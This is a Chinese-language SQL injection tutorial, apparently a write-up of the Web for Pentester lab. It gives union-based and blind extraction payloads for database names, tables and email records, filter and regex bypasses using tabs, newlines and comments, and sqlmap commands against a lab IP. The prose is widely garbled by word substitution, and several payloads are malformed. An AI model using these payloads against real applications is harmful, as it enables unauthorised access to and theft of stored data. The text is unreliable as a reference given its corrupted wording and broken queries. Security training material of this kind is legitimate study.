基于回显的手工注入
根本 思绪
WAF视角关键点
必要 支持and关键字
本节内容依靠 数据库的写作方式如下 ,用户可控id。
▼
「写作方式」
$sql = "select id, info from sqlinj where id=$id";
判定 是否存在注入点
判定 column的 数量 。 select * from stub_table order by 1
确定回显的列。 select 1,2,3,4,5
查询数据库根本 信息
其他利用 构造
查询数据
判定 是否存在注入点
最简单 的方式
▼
「最简单 的方式」
1 and 1=1
1 and 1=2
1' and 1=1 #
1' and 1=2 #
1' and 1=1 --
1' and 1=2 --
判定 用户输入的代码 是否确实进入了 SQL 实行 。
假如 确实我们构造的代码进入了SQL的实行 流程 。
那么,
第一种环境 应返回和正常查询数量 同等 的记录 。
第二种环境 应返回0条记录 。
作为用户的视角则是
第一种环境 欣赏 器表现 的结果 稳固 。
第二种环境 欣赏 器表现 的网页内容的结果 数变为0,大概 直接堕落 。
判定 column 的数量
用雷同 于此的语句测试
▼
「语句测试」
id=101 order by 1
id=101 order by 2
id=101 order by 3
...
直到数据库实行 堕落 。
假设在order by 5时堕落 ,那么列的数量 应该是4 。
确定回显的列
假设该表有6列。
▼
「列」
id=101 and 1=2 union select 1,2,3,4,5,6
查询数据库根本 信息
假设该表有6列 ,回显的是第2列。
查询用户及数据库名称
▼
「查询用户及数据库名称」
101 and 1=2 union select 1,concat(current_user(),' ',database()),3,4,5,6
查询表的数量
▼
「查询表的数量 」
101 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database(),2,3,4,5,6
查询列数量
▼
「查询列数量 」
101 and 1=2 union select 1,count(column_name) from information_schema.columns where table_name='email',2,3,4,5,6
查询列名
▼
「手机上看不见我」
101 and 1=2 union select 1,(table_name from information_schema.tables where table_schema=database() limit ?,1),2,3,4,5,6
查询行数量
▼
「查询行数量 」
101 and 1=2 union select 1, count(1) from email
其他高级利用
略
查询数据
▼
「查询数据」
101 and 1=2 union select 1, (concat(userid,' ',email) from email limit ?,1),3,4,5,6
基于布尔值的手工注入
在一些环境 下,页面上是没有回显的。也就是说 ,不表现 任何数据库中的信息 。我们只能根据输出判定 是否乐成 、失败 、大概 错误。这种环境 就叫做盲注。
盲注的常见构造
查询用户及数据库名称
先确定命 据库名称长度,根据 response 的长度的区别来判定 是否精确
▼
「查询用户及数据库名称」
1 and (select length(database()))=2
1 and (select length(database()))=3
1 and (select length(database()))=4
查询名称
▼
「查询名称」
1 and (select substr(database(),$1,1))=$2
1 and (select substr(database(),1,1))=a
1 and (select substr(database(),1,1))=b
1 and (select substr(database(),1,1))=c
1 and (select substr(database(),1,1))=d
1 and (select substr(database(),2,1))=a
1 and (select substr(database(),2,1))=b
1 and (select substr(database(),2,1))=c
1 and (select substr(database(),2,1))=d
1 and (select substr(database(),3,1))=a
1 and (select substr(database(),3,1))=b
1 and (select substr(database(),3,1))=c
1 and (select substr(database(),3,1))=d
查询表的数量
▼
「查询表的数量 」
1 and (select count(table_name) from information_schema.tables where table_schema=database())=?
查询表名
▼
「查询表名」
1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=?
查询列数量
▼
「查询列数量 」
1 and (select count(column_name) from information_schema.columns where table_name='email')=?
查询列名称
▼
「查询列名称」
1 and (select length(column_name) from information_schema.columns where table_name='email' limit 1,1)=?
查询行数量
▼
「查询行数量 」
1 and (select count(1) from email)=?
查询记录
▼
「查询记录 」
1 and (select length(email) from email limit 0,1)=?
文本型注入点
假设源程序的SQL查询处的代码
▼
「文本型注入点」
$sql = "select id, info from sqlinj where id='$id'";
那么在测试的时间 就会出现1=1和1=2都存在的环境 。
这时我们就不知道它是过滤了还是 真的有注入点。以是 我们可以修改参数,用一个单引号闭合前面的引号 ,再用一个解释 符号(#大概 --)来解释 掉背面 的引号:
▼
「解释 符号」
1' and 1=1 #
1' and 1=2 #
1' order by ? #
...
SQLi write up
判定 注入点
是否存在注入点
字符串型 or 数字型
字符串型是以单引号分割还是 以双引号分割
▼
「判定 注入点」
name=root
name=root1111
name=root + + # 空格加号
name=root%20+%20+ # 空格加号
name=root" # 双引号
name=root' # 单引号
id=1
id=2-1 # 测试减法
id=1+1 # 测试加法(好像 这一步没须要 ,由于 URL encoding 会将+转义成空格)id=1%2b1 # 测试加法
Example 1
▼
「Example 1」
name=root # 正常
name=root1111 # 正常
name=root + + # 正常
name=root%20+%20+ # 正常
name=root" # 0数据
name=root' # 堕落
想象中的后端,可控是 root 部分
▼
「root 部分 」
select * from user where name='root'
核心 payload
▼
「核心 payload」
1' or '1'='1
1' or '1'='1'---- # 不可行
1' or '1'='1'%2d%2d # 不可行
1' or '1'='1'%23 # 可行 %23 是 #
Example 2
测试发现不能输入空格。
思绪 ,用无空格粘连,%20,+ ,%2B,t(URL encode),n(URL encode),/**/ 的情势 。
无空格粘连 (乐成 )
▼
「步调 1」
1'or'1'='1
1%27or%271%27=%271
%20 空格的URL编码 (失败,触发空格过滤)
%20更换 空格
▼
「步调 2」
1'%20or%20'1'='1
1%27%20or%20%271%27=%271
+分割 (失败 ,触发空格过滤)
+更换 空格
▼
「步调 3」
1'+or+'1'='1
1%27+or+%271%27=%271
%2B 加号的URL编码 (失败,实行 堕落 )
%2B更换 空格
▼
「步调 4」
1'%2Bor%2B'1'='1
1%27%2Bor%2B%271%27=%271
t 简写 HT (Horizontal Tab) , %09 (乐成 )
HT更换 空格
▼
「步调 5」
1'%09or%09'1'='1
1%27%09or%09%271%27=%271
n 简写 LF (Line Feed, New Line), %0A
LF更换 空格
▼
「步调 6」
1'%0Aor%0A'1'='1
1%27%0Aor%0A%271%27=%271
/**/ 解释 符更换 空格 (乐成 )
▼
「步调 7」
1'/**/or/**/'1'='1
1%27/**/or/**/%271%27=%271
1'/*test*/or/*testtest*/'1'='1
1%27/*test*/or/*testtest*/%271%27=%271
可以进一步实行 测试ASCII中全部 的字符(尤其是不可见字符),看看尚有 哪些字符大概 存在更换 空格的大概 性。
Example 3
利用 t和n的在此处也失效了 ,但利用 解释 和无粘连依然可以通过。
Example 4
数字型注入
想象一下后端
▼
「数字型注入」
select * from user where id=123
payload
▼
「payload」
1/**/or/**/1=1
Example 5
观察 正则表达式,防御端要求输入的参数必须以数字开头,不能是字符 。
▼
「正则表达式」
1/**/or/**/1=1
Example 6
根据正则表达式 ,参数的末了 必须以数字末了 ,不能是字符
▼
「正则表达式」
1/**/or/**/1=1
Example 7
根据正则表达式,参数的开头和末了 都很好的检测 ,关键在于/m,只是判定 在同一行的参数
▼
「正则表达式」
1%0aor/**/1=1
Example 8
order型注入判定 源码布局
有两种order方式
▼
「order方式」
order by name
order by `name`
我们可以这么测试 %23 是 #解释 符
▼
「解释 符」
order=name%23 # payload 101
order=name`%23 # payload 102
order=name`desc%23 # payload 103
比如 payload 101 实行 堕落 ,payload 102 和 payload 103 实行 乐成 。
阐明 后端采取 的方式应该为
▼
「解释 符」
order by `name`
利用
order型必要 盲注,利用 时最好依靠 sqlmap
关键在于构造url
▼
「解释 符」
%60 是 ` 的URL编码
order=name%60*
sqlmap下令
▼
「sqlmap下令 」
./sqlmap.py -u "https://192.168.1.102/sqli/example8.php?order=name%60*"
Example 9
与 Example 8 相似的方式判定
发现后端的布局 应该是
▼
「发现后端的布局 」
order by name
构造方式
▼
「手机上看不见我」
order=name
./sqlmap.py -u "https://192.168.1.102/sqli/example8.php?order=name"12order=name
参考资料
Web for pentester I part 1
https://www.atomsec.org/%E5%AE%89%E5%85%A8/web_for_pentester_i-part-1/
米斯特白帽讲义 SQL注入
https://wizardforcel.gitbooks.io/mst-sec-lecture-notes/content/%E6%BC%8F%E6%B4%9E%E7%AF%87%20SQL%E6%B3%A8%E5%85%A5.html
The SQL Injection Knowledge Base
https://www.websec.ca/kb/sql_injection
新手指南:DVWA-1.9全级别教程之SQL Injection
https://www.freebuf.com/articles/web/120747.html
新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)
https://www.freebuf.com/articles/web/120985.html
SQLMap用户手册
https://blog.csdn.net/wizardforcel/article/details/50695931
https://blog.csdn.net/mydriverc2/article/details/41390319
MySQL 手工注入常用语句
https://blog.csdn.net/wizardforcel/article/details/59480461Kali
Linux Web 渗出 测试秘笈 第六章 利用 – 低悬的果实
https://www.jianshu.com/p/bd3daa312fe5
Kali Linux Web 渗出 测试秘笈 第七章 高级利用
https://www.jianshu.com/p/f671bc45b7f1
(泉源 :周安全)